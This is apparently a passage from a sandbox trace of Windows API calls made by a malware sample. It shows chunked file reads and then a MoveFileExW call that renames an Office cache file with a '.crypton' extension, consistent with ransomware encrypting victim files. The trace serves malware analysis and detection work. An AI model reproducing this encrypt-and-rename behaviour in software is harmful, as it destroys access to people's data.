[0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x252, lpOverlapped=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x24a, lpOverlapped=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x242, lpOverlapped=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x23a, lpOverlapped=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x232, lpOverlapped=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.115] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22a, lpOverlapped=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x222, lpOverlapped=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x21a, lpOverlapped=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x212, lpOverlapped=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x20a, lpOverlapped=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.116] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x202, lpOverlapped=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1fa, lpOverlapped=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f2, lpOverlapped=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ea, lpOverlapped=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e2, lpOverlapped=0x0) returned 1 [0069.117] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.117] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1da, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d2, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ca, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c2, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ba, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b2, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1aa, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a2, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x19a, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x192, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x18a, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x182, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x17a, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x172, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x16a, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x162, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x15a, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x152, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x14a, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x142, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x13a, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x132, lpOverlapped=0x0) returned 1 [0069.119] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12a, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x122, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x11a, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x112, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x10a, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x102, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xfa, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf2, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xea, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe2, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xda, lpOverlapped=0x0) returned 1 [0069.120] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd2, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xca, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc2, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xba, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb2, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xaa, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa2, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x9a, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x92, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8a, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x82, lpOverlapped=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x72, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x62, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22, lpOverlapped=0x0) returned 1 [0069.122] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a, lpOverlapped=0x0) returned 1 [0069.123] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12, lpOverlapped=0x0) returned 1 [0069.123] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa, lpOverlapped=0x0) returned 1 [0069.123] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2, lpOverlapped=0x0) returned 1 [0069.123] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x0, lpOverlapped=0x0) returned 1 [0069.123] AreFileApisANSI () returned 1 [0069.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0069.123] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa2) returned 0x536b88 [0069.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 81 [0069.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0069.123] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xb2) returned 0x556dc8 [0069.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae90, cbMultiByte=-1, lpWideCharStr=0x556dc8, cchWideChar=89 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.crypton") returned 89 [0069.123] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\\\MSOCache\\All 